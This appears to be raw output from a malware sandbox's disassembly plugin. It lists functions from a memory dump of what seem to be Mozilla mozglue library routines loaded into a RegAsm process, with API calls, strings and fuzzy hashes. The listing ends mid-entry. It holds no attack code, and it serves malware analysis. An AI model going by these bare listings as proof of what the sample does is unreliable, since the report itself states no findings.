
APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C933DEF), ref: 6C970D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C933DEF), ref: 6C970D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C933DEF), ref: 6C970DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C970D97, 6C970DBE
<jemalloc>, xrefs: 6C970D92, 6C970DB9

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: cc1e2f091bb532fea58041fadc97a8da2c9ea9affdbf76d948735fefa2617bfb
Instruction ID: 21091fc238dceb91e87bba81a506328cf09b7a9c1031a34f474b65ad3a2f2951
Opcode Fuzzy Hash: cc1e2f091bb532fea58041fadc97a8da2c9ea9affdbf76d948735fefa2617bfb
Instruction Fuzzy Hash: 76F0897139639433E73021665D0AB5B266DB7C6B65F345035F204EE9C0DAA5E8104AB9

Function 6C987620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9875C4,?), ref: 6C98762B

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987644
GetCurrentThreadId.KERNEL32 ref: 6C98765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9874D7,6C9915FC,?,?,?), ref: 6C987677

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 6602721274212a0ce1e8892293bd3600d5d58fc060517f35ffc92c35d6bd597d
Instruction ID: 94f4b069cc32141e7f95fd3415cd06e4f4d5e3644e610fe8e3e34971cbe87060
Opcode Fuzzy Hash: 6602721274212a0ce1e8892293bd3600d5d58fc060517f35ffc92c35d6bd597d
Instruction Fuzzy Hash: 89F0C271E14745AFD7008F21C888676B778FFEA259F21431AF90543651E7B0B5D08BD0

Function 6C95D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

EnterCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C96D1C5), ref: 6C95D4F2
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C96D1C5), ref: 6C95D50B

Part of subcall function 6C93CFE0: EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
Part of subcall function 6C93CFE0: LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C96D1C5), ref: 6C95D52E
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D690
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C96D1C5), ref: 6C95D751

Strings

MOZ_CRASH(), xrefs: 6C95D4BB

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 001da68b941871fd3bfa08fe18d270abbb868af419a86384205b8fbe3faf6d37
Instruction ID: 8bf216e04aee48e14e3771ef73b27ef7c060cb3fd841098f79c14ad258438406
Opcode Fuzzy Hash: 001da68b941871fd3bfa08fe18d270abbb868af419a86384205b8fbe3faf6d37
Instruction Fuzzy Hash: 3A51D076A087019FD724CF29C1D461AB7E5EB89708FA44A2EE59AC7F84D770E810CB91

Function 6C984630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C984721

Strings

., xrefs: 6C98476A
profiler-paused, xrefs: 6C9846E4
-%llu, xrefs: 6C984733

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: b61f69c9aa392ce9c93d44502a52f0aca25ab2295df7db3a05ab444eff05499f
Instruction ID: 7fee2446849189629099b30f98879efa2b0cd886cb06651aaaa337ae2cb42076
Opcode Fuzzy Hash: b61f69c9aa392ce9c93d44502a52f0aca25ab2295df7db3a05ab444eff05499f
Instruction Fuzzy Hash: EA413971A097089BCB08DF79E86115EBBF9EF95744F208A3EE85957B81EB30D8448B41

Function 6C9846E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C984721

Part of subcall function 6C934410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C973EBD,00000017,?,00000000,?,6C973EBD,?,?,6C9342D2), ref: 6C934444

Strings

., xrefs: 6C98476A
profiler-paused, xrefs: 6C9846E4
-%llu, xrefs: 6C984733

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 80d265df6d8a97d32f80fdfedcaf42743ed0630a38e5ef2888ca868602d0d5dd
Instruction ID: 7627e065fe68f4e793dee1083319bb91a2ce6337b6d268f8c103f9546b1f50eb
Opcode Fuzzy Hash: 80d265df6d8a97d32f80fdfedcaf42743ed0630a38e5ef2888ca868602d0d5dd
Instruction Fuzzy Hash: 19315771F053085BCB08CF6DD8912AEBBEADF98714F15853EE8059BB81EB74D8048B90

Function 6C98B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C934290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C973EBD,6C973EBD,00000000), ref: 6C9342A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C98B127), ref: 6C98B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C98B4E4

Strings

pid:, xrefs: 6C98B4DE

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8318f397446fb347ff1d44257efa52c022ccc0571f175dd60864e64287fb4d40
Instruction ID: 451101018947e32e92d9770780c208937fedc87ec77bab94bd7f57f2d92d72bc
Opcode Fuzzy Hash: 8318f397446fb347ff1d44257efa52c022ccc0571f175dd60864e64287fb4d40
Instruction Fuzzy Hash: E5310531A02209DBDB00DFB9DC81AEEB7B9FF55318F580929D91167B81D731E849CBA1

Function 6C97E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97E577
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97E584
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C97E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C97E722, 6C97E750, 6C97E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C97E5A1, 6C97E5CC, 6C97E5FF, 6C97E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C97E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C97E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C97E826, 6C97E850

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 15b5bb868313fb6e7559d52e38c8728dd7b1bf9738c6b93e68629e6aeac9c0a5
Instruction ID: 397d83568749ca53ffbe4f30954e025b36b5e638b65546ff93ac28cba8bc7c5c
Opcode Fuzzy Hash: 15b5bb868313fb6e7559d52e38c8728dd7b1bf9738c6b93e68629e6aeac9c0a5
Instruction Fuzzy Hash: EB118E39608258EFCB109F18C448A9BFBB9FB8972CF610519F84557A50D774E804CBD9

Function 6C980C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C980CD5

Part of subcall function 6C96F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C96F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C980D40
free.MOZGLUE ref: 6C980DCB

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

free.MOZGLUE ref: 6C980DDD
free.MOZGLUE ref: 6C980DF2

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: ebc92e3958c42e4a0c0aae90ffd5f1fc2dd457964be567410827d610bf0af223
Instruction ID: f50e69225061e9f4b5eb919f6f096e6a396803521d116908dc9f2f15e868cbdc
Opcode Fuzzy Hash: ebc92e3958c42e4a0c0aae90ffd5f1fc2dd457964be567410827d610bf0af223
Instruction Fuzzy Hash: 7B412571A0A7849BD320CF29C08079EFBE5BF99714F519A2EE8D887B51D770E445CB82

Function 6C98CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CDA4

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

Part of subcall function 6C98D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C98CDBA,00100000,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D158
Part of subcall function 6C98D130: InitializeConditionVariable.KERNEL32(00000098,?,6C98CDBA,00100000,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CDC4

Part of subcall function 6C987480: ReleaseSRWLockExclusive.KERNEL32(?,6C9915FC,?,?,?,?,6C9915FC,?), ref: 6C9874EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98CECC

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

Part of subcall function 6C97CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C98CEEA,?,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000), ref: 6C97CB57
Part of subcall function 6C97CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C97CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C98CEEA,?,?), ref: 6C97CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C97DA31,00100000,?,?,00000000,?), ref: 6C98D058

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: bd3795a899cd6dd02dada738ea1e62c8a6d0da74194e0942f137ccc9287e974d
Instruction ID: 1eb9746c3b77afada2fa927f73bfb7798434038c57afb2b3b9e6c6c4f77fe59b
Opcode Fuzzy Hash: bd3795a899cd6dd02dada738ea1e62c8a6d0da74194e0942f137ccc9287e974d
Instruction Fuzzy Hash: 16D16E71A05B46DFD708CF28C480BA9F7E1BF99308F01866DD8598B712EB31E965CB81

Function 6C955C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C955D40
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C955D67
__aulldiv.LIBCMT ref: 6C955DB4
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C955DED

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 287e775baa39834fa726801270fd49a52ce9ae6b2b0285997ef096ff1e6b6995
Instruction ID: f4069b7deb0e335ded57c808f94c0e1c208982bee84eb0a2952769656b70b137
Opcode Fuzzy Hash: 287e775baa39834fa726801270fd49a52ce9ae6b2b0285997ef096ff1e6b6995
Instruction Fuzzy Hash: E4516F76E0415ADFCF08CF68C854ABFBBB5FB85308F698619D811A7751C730A945CB90

Function 6C93CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C93CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C93CF4E

Strings

0, xrefs: 6C93CF30

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9f21e8fd39a489ad8fc6adecb3a1c393650b5c0b064567b3950eb2f09546e20e
Instruction ID: 4a6182ff740a96470bf13e5f7347458bd0249537bfdde0f70ff55340832c17e0
Opcode Fuzzy Hash: 9f21e8fd39a489ad8fc6adecb3a1c393650b5c0b064567b3950eb2f09546e20e
Instruction Fuzzy Hash: 17512575A006668FCB00CF18C890A9AB7B5EF99300F19829DDC595F791D731ED06CBE0

Function 6C976470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9782BC,?,?), ref: 6C97649B

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9764A9

Part of subcall function 6C96FA80: GetCurrentThreadId.KERNEL32 ref: 6C96FA8D
Part of subcall function 6C96FA80: AcquireSRWLockExclusive.KERNEL32(6C9BF448), ref: 6C96FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97653F
free.MOZGLUE(?), ref: 6C97655A

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 12a9273252c490e9b250fc2d8d16e9b2cf706bc615e05aee6f7a548ae67e93aa
Instruction ID: 74481e41412e3302473efb12cdc443b3f537577557ebf8d922173f116530984a
Opcode Fuzzy Hash: 12a9273252c490e9b250fc2d8d16e9b2cf706bc615e05aee6f7a548ae67e93aa
Instruction Fuzzy Hash: 15316FB5A097059FD700CF14D884A9EBBF4FF99314F50482EE85A97741EB30E919CB92

Function 6C94B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C94B4F5
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94B502
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94B542
free.MOZGLUE(?), ref: 6C94B578

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e29a26866c7d49f25e7135641eb2c416023734cf96b9dabc38954beb0494296e
Instruction ID: 430e4d399ab97e2758ed622ba103a8108f169e8d23c8b3dffa12972f1bfa19c8
Opcode Fuzzy Hash: e29a26866c7d49f25e7135641eb2c416023734cf96b9dabc38954beb0494296e
Instruction Fuzzy Hash: 1211C038A08B45E7D7128F29C40476AF3B5FF96318F20970AE84952A02EBB0F5D48794

Function 6C973DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C93F20E,?), ref: 6C973DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C93F20E,00000000,?), ref: 6C973DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C973E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C973E0E

Part of subcall function 6C96CC00: GetCurrentProcess.KERNEL32(?,?,6C9331A7), ref: 6C96CC0D
Part of subcall function 6C96CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9331A7), ref: 6C96CC16

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 7e2fb4cb89d8c9b646d05fa17c0a6a6f2db548186924566b40bd188745aa7a27
Instruction ID: 5dcc09e89f79356cfd51b081fc4d260e45f113639bc81fa2cb1d8569f3365af1
Opcode Fuzzy Hash: 7e2fb4cb89d8c9b646d05fa17c0a6a6f2db548186924566b40bd188745aa7a27
Instruction Fuzzy Hash: 95F012756002087BDB00AB54DC81DAB376DEF56628F140424FD0957741D636FD2586FB

Function 6C9885B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9885D3

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C988725

Strings

map/set<T> too long, xrefs: 6C988720

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a7c36dfb262a4a0b556f8da90c4ca3f7d8dcccd9625704c5fc0a31ce126c0572
Instruction ID: a6b499abe8690df89ee0867731c78648ccd437cc45a7bde22264642223788a7a
Opcode Fuzzy Hash: a7c36dfb262a4a0b556f8da90c4ca3f7d8dcccd9625704c5fc0a31ce126c0572
Instruction Fuzzy Hash: 765186B4602645CFC705CF18C084B56BBF1BF5A318F18CA8AD8595BB52C335E885CFA6

Function 6C93BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C93BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C93BE8F

Strings

0, xrefs: 6C93BE5B

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
